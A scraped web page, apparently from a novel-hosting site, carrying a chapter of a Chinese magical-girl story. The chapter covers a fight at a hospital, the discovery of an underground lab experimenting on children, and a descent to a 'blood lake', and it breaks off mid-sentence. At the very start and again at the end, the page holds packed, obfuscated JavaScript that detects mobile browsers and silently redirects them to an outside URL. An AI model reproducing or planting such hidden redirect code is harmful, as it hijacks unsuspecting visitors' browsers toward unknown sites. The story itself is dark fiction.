;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783373|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,很快垂直升起去追逐森山寺未央的背影。 那家伙疯了吗在自己势力下的医院动手?森山寺未央大惊失色,但很快翻身一跳避开了袭击,那血线如跟踪导弹一般追逐着她飞去,森山寺未央迅速换上魔法少女装束,连续翻出三张卡牌化为黑影挡在她身前。 三枚卡牌停滞,落地,迅速变化为三个约两米高的盔甲士兵,通体漆黑但散发出金属光泽,一个拿着双手剑,一个拿着刺剑,一个拿着单手剑和盾,三个士兵快速向格雷伊袭击而去。 森山寺未央指挥盔甲士兵包夹对方,同时召唤三张卡牌消耗了她大半魔力,她暂时判断不出对方的实力,但无论如何必须尽快结束战斗。 格雷伊手中的线在追逐目标未果后迅速收回,三枚士兵的出现没有让她面色发生改变,那些线再次朝对方攻去。 手持刺剑的骑士将刺剑向前抛出,直指格雷伊面门,那黑色一米长的剑身在半空中旋转着拉长,该士兵持有的加速魔法在刺剑上显现,下一刻它朝着对方以抛起的速度十倍不止地向前冲刺。 格雷伊紧急抬起右手,五根血线险而又险地在剑尖离格雷伊面孔还剩手掌宽的距离时将其缠绕住,但那刺剑没有停止前进的意图,继续加速朝前方刺去。 格雷伊五指收紧,红色的线没入漆黑的刺剑中,令其崩碎。 她的右手挥开残渣,与左手合拢在一起,那血线在她的周身绕了个优雅的圈朝那手上没了刺剑的骑士攻去,很快将其包围了起来。 森山寺未央见状紧急收回了那枚卡牌,她没有为此犹豫,剩下的两个骑士趁此机会快速冲向对方。 果然,只要消灭她的卡牌,她的魔力就会消耗很多,格雷伊尽可能地让自己冷静下来。 单手剑骑士快,双手剑骑士慢,格雷伊控制着血线在半空中画了个圆形拐弯包住了双手剑骑士令其动弹不得。 但另一个骑士没有任何犹豫地抛下了背后的同伴,继续朝格雷伊冲来。 根据对第一位骑士的观察,格雷伊判断这三个骑士应该分别拥有不同的魔法,而根据它们的行动规律,单手剑骑士所拥有的是加强防御的魔法,双手剑骑士是加强力量的魔法,刺剑骑士是加强速度的魔法。 而此时她所需要做的就是尽快将高威胁的高攻击力敌人解决,再回头解决另一个,这是她老师教导她的战斗技巧。 而森山寺未央见状没有收回双手剑骑士卡牌也没有命令单手剑骑士撤退,她抬起手杖下达命令:“交换!” 那单手剑骑士高举盾牌,为双手剑骑士附加了护盾,双手剑骑士大剑向地面刺去,为单手剑骑士的剑附加了锋利。 那单手剑虽没有大剑的重量,却在使用者抛弃了盾牌之后显得额外地灵巧,它的剑锋偏开围绕着格雷伊的线向它本身刺去。 是防守,还是进攻? 刹那间,格雷伊不知该如何做,但那一瞬间的迷茫足以让她失去最好的机会。 那单手剑骑士的剑锋一闪,穿过层层红色的包裹眼见就要刺中格雷伊本身。 “叮——” 剑被挑开了,那包围着格雷伊的层层红线之间,有什么东西出现在了其中。 森山寺未央一惊,她察觉到了魔物的气息。 那诞生于红色之中的魔物手持双剑,无头,下半身肢体是蛇形,整体如一具行走的骨架,若有乐羽生或犬山晓在这里就能认出这是她们曾经遇到过的那只魔物。 “等等?!”但被魔物保护的格雷伊却大惊失色,她顾不及去攻击任何一个骑士,那红线迅速被她收回并缠绕上那突然出现的魔物的身上。 那魔物在挣扎,但那些能击碎刺剑的线没有伤害到魔物哪怕一分一毫,是格雷伊在小心翼翼地控制。 可这绝不是该在一场战斗中做的事情。 森山寺未央没有放过这个机会,大剑骑士起身奔向格雷伊,魔物挣扎着,格雷伊所有的线都用于控制它。 大剑骑士很快就抵达了格雷伊身前,两米高的骑士高举两米高的大剑,身影遮去天光,格雷伊眼睁睁地回头看向那黑色的影子,意识到自己来不及躲开了。 “咚——” 又有谁把森山寺未央的攻击挡开了,但这次可与单手剑的刺击不同,附加蓄力和力量魔法的双手剑骑士的一击足以劈开半米厚的钢板,也就是民用防爆建筑的水平。 而挡下这一击的是一把黑色的斧头,不比手臂长,刀锋不亮,它在凌空飞来打开双手剑之后便消散了,但没有谁错过它的出场。 黑影的出发点在一处拐角,森山寺未央确信自己刚确认过那附近无人存在。 “到此为止。”突然出现在拐角处的人开口说,她姗姗来迟,语气却并不匆忙。 那是一个近乎融入阴影的人,不说话时几乎没有任何气息波动,黑色如影随形她,或者说她携带黑色的影子袭来。周围没什么风,她的额发微微浮动,露出她左眼的眼罩。 森山寺未央认出了这个人,CEO的总裁,湛,十多年未接受采访,她似乎因此也永葆青春了一般。而她出现在这里也意味着她们的行动暴露了,她必须得尽快将这件事告诉其它人,也得想办法活下去。 那人不急不缓地一步一步走向格雷伊,无视对方苍白且布满冷汗的脸,直接看向被红线包裹地严实的魔物,她嘴角的笑容动了动,要裂不裂。 森山寺未央察觉到了非常强大的魔力气息,这并不是她能应对的对象,她迅速收回了两个骑士,但是湛没有对她的行动产生反应,甚至没有去看,只是注视着那个魔物。 “没想到还能看到你,你好,再见。”湛略微侧目看向那魔物,魔物不动,她嘴角下垂,抬手掀开了左眼的眼罩,那之下是一枚血红色的瞳孔。 与那红砖房不同,这血色是彻底的不详预兆。 “滚回去,丢人现眼。”湛的语气轻缓,也笑着,不像是在说这样严厉的话。 那魔物像是受到了什么刺激一般迅速消失在了线团之中,但格雷伊却没敢有动作。 于是接下来,湛的视线也转移到了格雷伊身上。 “你也一样。”她说。 被那血红色的瞳孔无声地批判的格雷伊呼吸都静止了一瞬间,视线之下,她指尖的血线缓缓收回,回缩,只剩下一些血渍黏在指尖上。 服从的态度让湛收回了视线,转而看向在场的另一个人,森山寺未央肩膀一缩。 “那边的那位盛装出席的小姐,是叫森山寺未央,对吧?”湛说着,语气又带上了施舍般的笑意和亲切,她的眼睛眯起,卧蚕没有中和任何血瞳带来的锋利感,“初次见面,我是Evo的CEO,湛,请替我向另外几位问声好。” 她没有攻击的动作,但森山寺未央依然不敢放松,她无法理解那笑容带着的感情,甚至觉得那可能是一种威胁。 “我也成为了会吓小孩子的大人了吗?”湛笑了笑,将眼罩戴了回去,整体回归黑色,这让她身上的锋利气息收敛了一些。 也就是森山寺未央能感受到的那多余的一些而已。 “你,你是亚贝琉湛,你来这里打算做什么?”森山寺未央紧张地问,她的心脏跳得很快,好在帽子有遮去她一半的脸。 而她的紧张也似乎被看穿了,湛看了一眼低着头不说话的格雷伊,黑色眼睫盖住独眼,如刀划过,她因不满意而笑得不算温柔。 “如你所见,我来接不成熟的小辈,能看到你也算是意外之喜了。”她回望森山寺未央。 “她是来处理这里的院长的,你来接她?”森山寺未央质疑道,“你不相信自己小辈的工作能力吗?” “她的名字是格雷伊,这下你总该能理解了吧?”湛说,“博蒙不需要我去处理,她的悲剧命中注定。” 而这却是足以向森山寺未央解释格雷伊出现在这里的动机了,她想起博蒙那憎恨的口吻中说出的那些话,不由得看向格雷伊。 若是格雷伊为了博蒙而来,那也不难解释她为何是那副紧张的样子了。 “该走了。”湛见森山寺未央明白了什么,转身准备离开了。 但格雷伊依旧没有动作,很快就走了。 “我,我已经失去了妈妈,我不想再失去姐姐。”她的声音哽咽着,有眼泪流下来,掉在草坪上,短绿接住水分。 “求求你了,我真的不想失去我的家人,你知道的吧?!”格雷伊朝湛的背影恳求,她甚至不敢拉住对方,“我会努力的,我不会再让任务失败了,求您想想办法,能,能让我和老师说一下吗?要我怎么做都可以,什么都可以!” 而那个被恳求的人没有回头。 “我说过,到此为止。”她稍稍偏过了头,声音听不出情绪。 “我不走,我要见姐姐,让我见她——”格雷伊没有放弃,她在哭但也在坚持,甚至转过身准备自己行动起来。 但这似乎就到湛忍耐的极限了,她再次转过身,脸上带着笑,但森山寺未央看不出对方的情绪,格雷伊见状想说些什么,但湛没有给她开口的机会。 “咚——” 相似的一击,但武器不在,湛只是简单地握拳砸了格雷伊的脑袋,她就这样站着看着格雷伊倒下,仅剩的一只棕色瞳孔笔直下垂,在日光中也透不出暖意。 “真是该让哪家伙也看看她的学生有多丢人。”湛嗤笑了一声,单手抓起格雷伊的斗篷把其整个拎起来,朝森山寺未央笑了一下,最后头也不回地走了。 森山寺未央小心地远远地跟着对方,看着她一路慢慢悠悠地走向医院主干道,拉开一辆黑色私家车的车门,把格雷伊扔进后坐,倒车,车辆和她一起离开了。 危机解除,森山寺未央疑惑地判断道,但现在并不是一个合适的思考时机,犬山晓还在等她开门。 归途车座上方向盘无人看扶,得益于自动驾驶,司机现在可以用两只手玩手机了。湛确实也在这样做,她在手机上翻了一会,播出了一通电话。 电话以最快的速度接通了,她没有等对面的人“喂?”,直接说出了自己的需求。 “观察区有人闯进去了。”她说。 “这?!我,我很抱歉,我不知道,我以为——”电话那头的人光是听声音就知道其情绪有多胆战心惊,湛显然不在意。 “拿一瓶RP-D,去倾倒物处理区,有人下去了,怎么用你自己决定吧?不过我希望是有趣的结果。”她说。 “我很抱歉,我——”话没说完,湛切断了通话。 另一人手里还拿着电话,嘴里道歉的话堵在忙音说不出口,过了一会,她放下了电话。 “我必须留在这里。”最后,她下定了决心。 湛扔下手机,调出监控画面。 “既然打断了一出好戏,那就要赔我一出好戏才行吧。”她兴致盎然地笑了。 44.decem 艾克里普前往有乐羽生的身边,二人见面后有乐羽生带着艾克里普返回孤儿院附近。有乐羽生说明了森山寺未央的部分推测,艾克里普越听越皱眉。 “那个隐藏起来的电梯入口我们找到了,不过开门和前往对应楼层需要钥匙,那个给我们带路的管理员禾草代目的身上应该会有。”有乐羽生说。 “好,我们尽快行动,先去找到那个管理员。”艾克里普点头,心里还是有点担心另一边的情况,“医院那里和这里不知是否有联通的通道。” “这一点我来吧。”有乐羽生说。 有人敲响了禾草代目的休息室的门,她合上笔记本,扶着桌子艰难地站了起来,开门,奇怪这个时间点是谁会来找她。 “有人找,是之前那个志愿者中的一个,我让她在一楼等了。”另一位管理员说。 禾草代目怀疑地点头,慢慢地走下楼梯。孤儿院内腿脚不便的人不少,但从没有谁提出过建设残疾人通道。 “您好!麻烦您下来一趟了!”有乐羽生站起身走向下楼的禾草代目。 “请问是还有什么事吗?”禾草代目笑着说。 “我在门口遇到了一位来拜访这里的医药代表,于是就为她带了路,二位聊吧,我的同伴还在等我呢。”有乐羽生说着,推开孤儿院的门离开了。 于是禾草代目推了推眼镜,才发现大厅还站着一个人。艾克里普也看向这位管理人,很快,她移开了视线。 “您好,您就是这里的管理员吧,我是Evo公司的医药代表,来看看药物试验效果。”艾克里普出示了自己的工作证。 “您是从这里想亲自去看吗?”禾草代目怀疑地确认了工作证的内容,没什么出错的地方。 “是的,带路吧。”艾克里普说。 “这,”禾草代目有些犹豫,“已经很久没有人从这里下去了,您要不要从别的常用入口进去呢?” “我就是被派来来抽查进度的,你以前没见过我不是吗?”艾克里普说。 “这倒是。”禾草代目还是有些犹豫。 “把钥匙给我就行,不劳烦你也跑一趟了。”艾克里普说。 “好吧,那您和我上楼吧。”禾草代目没再拒绝这个要求,她转身走上楼梯,艾克里普跟在她身后。 一路上到五楼,禾草代目进入自己的休息室取了一张钥匙卡,交给了艾克里普,并为其打开了房间的门并移开了书架。 艾克里普点了点头,进入了电梯,有乐羽生从水晶转移到她的身边。 电梯下行的时间不算缓慢,间隙中,但艾克里普的脑内却在高速思考很多事情。 一切终于要真相大白,之后的一切工作都很简单,她也擅长。但这并没有令她安心多少,正相反,她比往常都要焦躁许多。 孤儿院下方有什么,实验室里会有什么,这些并不难猜,艾克里普曾经也见过不少,她知道那些失去人性的疯子会将同类的生命看作是填充进度条的工具,但疯子不可理解,甚至往往自己都不知道自己在追逐什么东西。 但这一次的目标不一样,对方条理清晰,对一切都尽在掌握,甚至清楚艾克里普的存在并提前准备了反制的手段,到现在她仍然无法透过对方设下的防护察觉到天使的魔力气息或者其它威胁。 于是令艾克里普感到焦躁的点就在于:这一切真的会这么结束吗? 一直以来发生的一切令艾克里普不再像过去那样对自己的全知全能充满自信,但她无论如何都想要保护好同伴,并完成自己被赋予的使命。 阿尔卡纳国王殿下,请保佑我们吧,艾克里普心中默念。 过去的那些记忆不带有温度,但那些人存在的记忆里,画面却是鲜活美好的,艾克里普非常庆幸自己当初的选择。 【一会如果遇见了相关人员就直接击晕,实验设施我去销毁,用不了多久的。】艾克里普严肃地说,无论如何,她必须前进。 【好。】有乐羽生点点头,【这里的事情被曝光之后会有政府机构的人接管这里的孤儿院的孩子,那些特殊的孩子该怎么办呢?】 有乐羽生心想,她们可以将实验室的器材全数销毁,可在这之后该怎么办呢?真的会有其它福利院或者慈善机构愿意接受这满是问题儿童的孤儿院吗?在这里的院长被扣押之后,这里的管理员还会像往常那样对待那些孩子吗? 这些问题太“普通人”了,有乐羽生承认,她被这些问题所困。 神脉医院能拥有这么大的规模还能避开外界的探究,每年用于打点政府相关部门的金额恐怕不占少数。私人医院不指望保险做生意,指望的是将那些还想活几天的有钱人能为多睁眼一天付出多高昂的代价。 中饱私囊这种事有乐羽生在新闻或者亲眼见过的不算少,这对于政客来说已经算是一笔被默认的生意了,但这样大规模的地下建筑和人体实验并不是生意就可以解释的。 神脉医院作为私立医院在城市郊区拥有这么大一片土地,背后站着的人位置不会低,再加上用于做实验的素材,这背后站着的人身份不会干净。财务报告基于账目,账目要平,素材收支也要,坏账太多那么投资人就会另择它选。神脉医院是纯私营的,在对投资人冷脸上有得天独厚的优势,也不考虑财务报告是否好看。 若是对方所做的一切的目的是制造天使或是人造魔物那样的生物武器,那市面上的大部分工具恐怕无法满足其实验所需,实验设计者一定知道自己的作品的用处是什么,而定制这些设备并且运输又需要大量的人力资源。 能做到这些的恐怕不仅仅是一个在近代出现的势力,而是有着更为久远的传承,这也是人类壮大种族的根本。 但那些过去的事并非她要考虑的,她需要考虑是未来,孩子们的未来。这需要考虑钱,考虑很多很多的,不同来源不同去处的钱,以及耐心。 有乐羽生生活在富裕的家庭里,从前不需要为这等俗物而烦恼,但直到她意识到钱的重要性后,她第一反应实际上是拒绝去思考这个问题的。 这并不是什么特别的深厚利用,就是羞耻,但羞耻站在人类感情评分的最底层,羞愤欲死并不是说着玩而已。有乐千奈常提醒有乐羽生她为了栽培自己花大量的钱,她不说一个明确的数额,只让一个对钱没有概念的孩子自己去猜,却又教育她要学会正直和忍耐。所以过去,有乐羽生对于说出钱感到羞耻。 出席晚宴的礼服和首饰要多少钱,钢琴老师的工资是多少钱,晚餐桌上的食材要多少钱,日之森学费是多少,加入学生会最低水准的资产水平是多少。但这些真的是一个正直且谦逊的孩子该去思考的吗? 若是继续思考下去就会有无穷无尽的问题,有乐羽生选择回到一开始的那一刻,从母亲将话语说出口的下一刻,立刻回答“好的,我知道了”并结束关于这件事的一切思考。 但现在轮到她主动选择面对这些问题了,因为作为魔法少女她可以帅气地击倒魔物和坏人,可作为普通人的她又可以做到什么呢? 喜欢吃的东西要多少钱,做想做的事情要准备多少预算,这里的孩子用度开销是多少,医院的收入在经历波折之后是否还能填上,孩子们如何面对社会的目光。孩子们会埋冤自己的生活发生改变吗?若是被这样责问了那自己所作所为还可以算是有意义的吗? 如果想要帮助这里的孩子,要做的不仅仅是结束那人为的非人性实验,也需要考虑在这之后的事情。有乐羽生想尝试担起这些责任,哪怕这会让她的身躯变得更沉重,更疲惫。 【常人不会去注意魔力气息,那些孩子完全可以作为普通人继续在孤儿院生活。】艾克里普说。 作为纯粹的魔法少女,艾克里普没有去在意孩子们的社会性问题,她来到这里是为了处理“利用魔法作恶”的人,这座城市不在她的责任范围内,她没有考虑过一直保护这里,她有着更为重要的目标。比如彻底清剿实验室背后的势力。 【那就好,我以后会常来这里看看。】有乐羽生放心不下。 作为朋友,艾克里普无疑是亲切可爱的,她永远支持着大家,尊重大家的选择,并且作为魔法少女的前辈提供指导和帮助。有乐羽生非常喜欢艾克里普,她认为是因为艾克里普的存在,这一支乐队逐渐变得像是一个家一样,艾克里普在维持大家之间的联系上一直很努力,所以她不想让艾克里普因她无法理解的事感到困惑。 【愿这些孩子余下的人生能平静地度过。】艾克里普祝福着,她发自内心地希望这里的孩子在这之后会拥有不被利用的人生。 有乐羽生也发自内心地祝福孩子们的未来,她内心坚定。 电梯门打开了,近四十米的走廊笔直延伸向视线尽头,宽五米左右,近乎是车道宽距的沿途无任何障碍物,指引灯镶嵌在地板与墙壁上。两侧墙壁各有五扇门按序排列出现,无观察窗,无门牌,也无门把手,金属门上有涂漆编号。 【…左边没有人。】艾克里普察觉到了这一点,【右边有,但气息很微弱,应该是孩子们。】 【应该还有其它实验区域,晓应该会把消息带回来的。】有乐羽生说。 没有门把手的金属门被艾克里普整个销毁了,左侧,进深约15米,空间内因光源而苍白一片,消毒水与不明气味混杂的房间内,六台艾克里普见过的倒圆形仪器有序陈列,以及一旁的病床和工作台。柜架上手术用品齐全,药物瓶无标识,电脑未开机。 右侧门同理,入门进深同样约15米,结构如宠物店选择区,门内通道笔直向内,左右两侧陈列各12扇透明玻璃门,门下有小型通道用以喂食,门内设有儿童单人床和一套桌椅。 以及,沉睡的人类幼童。 【…就是这里了。】有乐羽生感到一阵不适,【那些9岁以下的孩子们都在这里。】 若是推测正确,这些孩子们若是能成功存活下来,接下来就会被送往孤儿院,根本不会记得自己在这里的遭遇,因为她们在离开前会接受类似催眠的洗脑。而看着眼前这监狱一般的空间,有乐羽生竟一时不知那是否是完全的坏事。 【部分孩子生命特征已经非常衰弱了,比起沉睡更像是在昏迷。】艾克里普看着那些蜷缩在床上的小孩子,叹了口气。 孩子总是比成人脆弱,不仅仅是因为体质,也因为她们不懂得避险。但此时这些孩子出现在这里显然不是因为谁的过度保护欲。 【这里的孩子都会在9岁时确认没有魔力资质之后才送往孤儿院,若是有魔力资质就会被送往实验室。】有乐羽生沉重地说,【然后,变成天使或者人造魔物。】 在西部市区见到的畸形人造魔物快速膨胀的模样有乐羽生历历在目,她看着那些沉睡的,或平静或痛苦的稚嫩面孔,握紧了手。 【趁现在行动吧,不会再出现那样的罪恶了。】艾克里普说。 有乐羽生前往各个房间将这里的情形都拍摄了下来,并将那些瓶瓶罐罐都收了起来准备带去给克拉拉。 艾克里普来到实验器材所在的房间内,对眼前的一切施加了分离魔法,工具与电器逐渐分裂成不足一厘米大的细碎颗粒。在这之后是聚集魔法,这些小颗粒便又重新聚集为一个完整的型球体。最后是坍缩魔法,球体高速旋转着变小,最后只剩下一抹尘埃。 这一套魔法能避免各种物质爆炸或蔓延的可能性,是艾克里普摸索出的最佳人造物处理手段。 不出五分钟,左侧空间内的一切物品都消失了,若是将墙面打通那么这里就可以直接作为室内体育馆使用。 【这些孩子中部分已经没有继续活下去的可能性了,不仅仅是因为血红蛋白中的污染物质导致的刺激,她们中的部分身患不可治愈的先天残疾,甚至包括无脑和皮肤缺失。】艾克里普判断道,【我不该审判人类是否能继续活下去的,但她们即使活下去也不过是徒增痛苦而已。】 有乐羽生能感受到艾克里普此时处于矛盾之中,她还站在那里,但思想已然卷入了寻找答案的漩涡。她忽然意识到这或许是艾克里普第一次面对这样的选择,以往她的反思不面对人。 【从生物角度来说,身患这些结构异常的孩子是无法存活的,但人类的义务论否认任何存在对人类的生命剥夺。没有未来的生命对自己父母社会只会带来痛苦,但若是这样,那残障者和年老者哪边更值得活下去?】艾克里普喃喃自语,【人类信奉的宗教教条认为堕胎是篡权,近代又趋向主观同情和怜悯,不过几十年为何思想会如此转变?还是说应该考虑她们的因果?可她们是孤儿,是被抛弃的,她们的因果又从何寻起?】 不,有乐羽生意识到艾克里普并非在喃喃自语,传音魔法的精神链接共享了她无意识的思考,她是在求助。但她认为其求助的对象并非是自己,因为艾克里普从不这样做。 【阿尔卡纳殿下,我该怎么做呢?】祈祷最终以叹息结尾,【我能这样做吗?我应该这样做吗?我可以这样做吗?】 “艾克里普,”有乐羽生问,“你想带给那些无法活下去的孩子们安息吗?” 于是,祈祷者惊醒。 “啊,抱歉!”艾克里普回过神来,意识到自己的思考过程被发现的她难得有些不好意思了起来,但她很快反应过来有乐羽生的问题。她想这样做吗?艾克里普扪心自问,她看向那些孩子,却发现自己找不到自己的答案。 “我不知道,羽生。”艾克里普低声说。 “…艾克里普,我想结束她们的痛苦。”有乐羽生看着那些孩子们,低声说道,“但我不知道我是否有资格这样做,这样做了之后又如何面对其它的孩子。但我想在做决定之前我们需要先了解事情的全貌。这里没有实验人员,我们得找到做这些事的人才行,走吧。” 右侧的房间,一切如初。 【走吧,我们还会回来的。】艾克里普说,二人朝电梯处走去。 直到离开电梯,手机因重新沐浴到信号而收到了新消息。 “我现在可以确定孤儿院的禾草代目管理人从2000年医院重建之前就待在这里了。博蒙似乎因为一些限制不能说出真相,拜托你们去问问她幕后黑手的相关事宜。晓乘坐的电梯下去后返回时需要另一个人打开门,我先去找她。”森山寺未央在十分钟前发送的消息。 二人对视一眼后点头,有乐羽生按照森山寺未央之前谈及的信息敲响了禾草代目的休息室的门,可无人响应,房间内也没有传出任何动静。 【她不在房间吗吗?现在孩子们也都在房间里。】有乐羽生不明白她还能去哪里。 【那我们先去找未央她们的会合吧,电梯能直接下去,晓那里有实验室的地址,我们可以一起行动。】有乐羽生说。 艾克里普点了点头。 漫长走廊的深处,犬山晓站在最深处的电梯门口,在入口处的地面上站着一根一米多高的圆柱体,直径约10厘米,通体与电梯门一样是黑色,中间有着一个方形的小孔。她意识到这就是生物验证,于是取出之前得到的小瓶子,拧开盖子将其中内容物倾倒而出。 黑红色的液体流入方孔中后,圆柱顶端边缘亮起了微微的光,不一会电梯旁的按钮亮起,犬山晓收好瓶子,等候电梯门开。 “接下来你就会见到血湖了,激动吗?”RP-e315声音比一开始低了许多。 “我一会把你放在那里就行了吧。”犬山晓对血湖并不感兴趣,但在她眼里这个地方的存在与她们要找的实验室息息相关,她得去看一眼。 看一眼那不知多久之前就潜藏在地下的湖,它的周围也有芦苇丛吗?也有大片草地吗?也有一栋红砖房吗?远处也有危险神秘的森林吗? “可以啦,谢谢你,真是奇怪,明明你和我们是一样的,怎么会对血湖没有反应呢?”RP-e315说着,她的语气里充斥着喜悦,如即将见到多年未见的好友。 她从未有过朋友吧,她知道朋友该是怎样的吗?犬山晓心想。门开了,空间宽敞,灯光静候。 “都说了我和你们是不一样的,我能使用魔法并不是因为实验,你所说的那些同胞都是人造的魔法使用者。”犬山晓对这个话题感到无比厌烦,她只想尽快结束这一切。 电梯下行,坠落向深处的目的地。 “与那种东西,无关,”RP-e315的声音在电梯里显得空荡荡的,“与魔法无关,我是说,你也是我们的,同胞,和我们有,相同的气息。” 她的声音因脑内的混乱而音调混乱,但含义传达到了。犬山晓听到了,她理解了。 “你也是,血缘者,血湖的,血脉。”她断断续续地说。 电梯的坠落没有停下来的意思,但RP-e315的声音停了下来,可能是因为无法开口,也可能是在等待犬山晓的答复。 但犬山晓没有说话,她被RP-e315接触着的每一寸布料下皮肤都逐渐变得僵硬,似乎有毒素在从接触面传来,可惜,在这狭窄的电梯里她无处可逃。 距离越来越近了,血湖越来越近了,你察觉到了这一点的,这次是你主动的,你自己选择的。 你的中耳鼓膜内压,振动频率下降,听力发闷,你不确定背上的存在是否真的那么安静,声音的传播到你这撞上了隔阂,因为你的咽鼓管来不及平衡气压了。 取而代之的是你的心脏加速鼓动着,你却不知道那是怎么一回事,你没有在晨跑,也没有在高兴或者悲伤,你很久没有摄入咖啡因酒精尼古丁了,交感神经你无法控制,好在你有记得好好地捏住其后勤部动静脉才对,但你有记得搞清楚主次之分吗? 它更有力了,你感受到那搏动幅度一次比一次大,你的喉咙在顶动,如有什么要破土而出,你的血肉里也会有彩色的花盛开吗?心跳声音走内部通道抵达耳膜,你无法控制,无法理解,无法阻止它与越来越近的它达成了共鸣。 你还记得吗?那节律性收缩组织在不被你捧在手心里的时候也是很吵的,也是会自己跳的,在你出生之前就一直在这样做了,它比你更早学会表达,你何必控制它展现自我呢? “我与这里无关。”犬山晓说。 没有人听得见。 电梯在她话音落下后体贴地停了下来,门开了,扑面而来的是血腥气味和潮湿,夹杂魔力,涌动着观察两位不该出现在这里的活者。芦苇岸地下百余米处的巨大空洞内,有什么经过几百年却仍然学不会欢迎客人的巨物出现在二人面前,没有出面问好的意思。 那里就是血湖,犬山晓对辨认这一事实无师自通。 电梯内还有光,门开后那人造光照亮电梯门前半米左右,没有更多的打扰了,在那半米的安全区之外,巨大无声的黑暗存在于那里。 那里有什么东西在,有每日吞噬一切废物绝不挑食的分解者,有每日为智慧但盲目的研究者提供实验所需素材的生产者,有等候着走向灭亡的家族奉上成果的消费者,有名为魔力的能量,有血湖。 阿贝尔家族的最终奥秘,圣地,神脉医院广阔的不实用占地范围地下百余米的深处黑暗之中,血湖存在于此。与RP-e315诉说的梦语者圣地不同,这里十分安静,没有人说话,没有人在。 良好的视力让犬山晓隐约察觉到了深处的猩红平面,她的心脏从来没有像现在这样剧烈地跳动过,她分不清这是恐惧还是激动,但她明白自己得走了。 “我把你放在这里就可以了吗?”犬山晓站在亮处问RP-e315. “可以了,谢谢你。”RP-e315双脚着地时上半身产生了明显的晃动。 随后,她向黑暗中试探着走了一步,随后她像是确认了什么一般,脚步变得坚定了起来。 最后,整个人没入黑暗之中前,她回头说:“再见。” “再见。”犬山晓也同她道别,转身回到了电梯内。 电梯门彻底关闭之前,她听见了重物落水的声音。 小型车厢带着唯一的乘客垂直离开终点站,犬山晓感受自己的耳膜因所处海拔快速上升而产生压力,但她没有去管。 你的记忆力很好,所以你知道,RP-e315说的话一定会被你一直记住,夜深人静时,或者只是某个一瞬间的空闲,你就会记起那声音。无论是话语,落水的声音,还是道别,那时若是有人问你的过去的话,那你还要再停顿一下,说不记得了吗? “…都结束了。”犬山晓说。 而你自己的反驳却都不一定能在她你的脑海里留存下去,你的脑内混乱无比,但电梯内却是一片寂静,仅有腥臭残留。 说些好听的,你喜欢听的话吧,那或许能停下那些你想要抛之脑后的想法,但你做不到,你的瞳孔在颤动,额头冒出冷汗,肌肉僵硬。 还记得那些能让你平静下来的选项吗?。 不对,这里没有吉他,她们也不在这里,她们在等我,她们在外面等我。 如果是这样的话,你要不要试试看老方法呢? 犬山晓忽然抬头,动作幅度突兀到几乎要撕裂脖子处的皮肤。 灯光刺目,室内怎会出现月亮。 电梯终于结束了那似乎永远不会停止的上升,门开了,你可以离开这里了,离开这里意味着与同伴相聚,意味着结束这一切,意味着走向新的一天。她们不会知道自己经历了什么,过去可以再次被掩盖过去,这次你该小心一些。 她笑了。 “咔嗒。”这是犬山晓的运动鞋绝不会发出的声响。 电梯之外,犬山晓的前方通道边第二扇电梯门开着,门前有人在,那是一个中年女人,站姿可怜地不平衡着,带着一副眼镜。 这恐怕是最坏的时候了,犬山晓想,如果她是为了阻止自己而来的话,那自己现在无法控制自己动起手来能留下对方的命。她很久没有主动杀人了,杀人不是高中生该做的事。 “我必须,我必须留在这里。”站在那里的人头上流着冷汗,手臂肌肉僵硬,双拳紧握。 “滚开。”犬山晓尽量保持理性让对方离开。 这句话让来者吓了一跳,她抬头注视犬山晓,隔着镜片的眼睛模糊不清,但她的嘴微微张开,体态彰显她的惊讶。 惊讶什么?犬山晓没有耐心去思考这个问题了。 “我见过你,”那人嘴唇颤抖,说,“对,我记得你。” 她的语气笃定,惊慌的神色都因讶异而定格了,她目光不动,如有实质。 “…什么?”犬山晓不明白对方的意思,她的意识让她快走,但不知为何却迈不动脚步。 身体与精神产生了分离,犬山晓意识到了问题所在,这是因为长期的紧张和心脏跳动过快导致的麻痹,她有印象,也有应对手段,没错,她知道该怎么做。 你在等什么?犬山晓问自己。 “我记得你,我记得你的脸。”那人的声音是带着不可置信的恐慌,“你有名字,你的名字是胺,但是你应该已经死了才对?!” 她的声音里夹杂着巨大的恐惧与慌乱,她不可置信,但没有心虚,她没有在说谎,这些话是她脱口而出的真心话。 但这更糟,犬山晓强行催动血液循环,有了说话的力气。 “你在说什么?我根本不认识你!”犬山晓强行压下内心的焦躁不安与对方争辩着,她迫切地需要一个肯定的答复,“我就站在这里不是吗?你的年龄和我的年龄差这么大,你看到的八成是什么与我长得像的人吧!” 对,就是这样,眼前的人既然能来到这里那就一定和这里的实验脱不开关系,她看见的八成是什么有着易容魔法的实验体。犬山晓已经给出了足够的证据了,她看着对方,等待一个正面的,对她有利的答复。 “就是因为这个我才不会认错,你就是她,错不了的。”但那人的脸色却不再慌乱,反而有利地冷静了下来,她理解了自己应该做些什么。 “你与我是同期,在离开实验室不久后就因为并发证去世了。”她笃定,语气裹挟恶意。 “…你根本没有办法证明吧?”犬山晓甩出了一个无解的问题。 犬山晓自认绝对不认识这个人,那么她便不可能留下什么可以被证明的证据。 “你怎么可能还活着?不对,就是因为你还活着,是你做的,你就是那个人!”对方没有证明什么的意图,她被自己自顾自得出的结论满意到迸发出喜悦的感情,那喜悦将她之前的恐慌一扫而空。 似乎是因为确定了她的答案才是正确的那一个,她感觉自己掌握了主动权,便不再掩饰自己那满怀恶意的笑容。 “你,你在说什么?”犬山晓感到莫名其妙。 “你就是犯人!”对方像是得到铁证的律师一样得意,“2000年3月25日,芦苇岸的所有人,上面的,下面的,所有人都在一天之内失踪了!是被你杀死的!是你做的!我不是疯子,我没有瞎,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 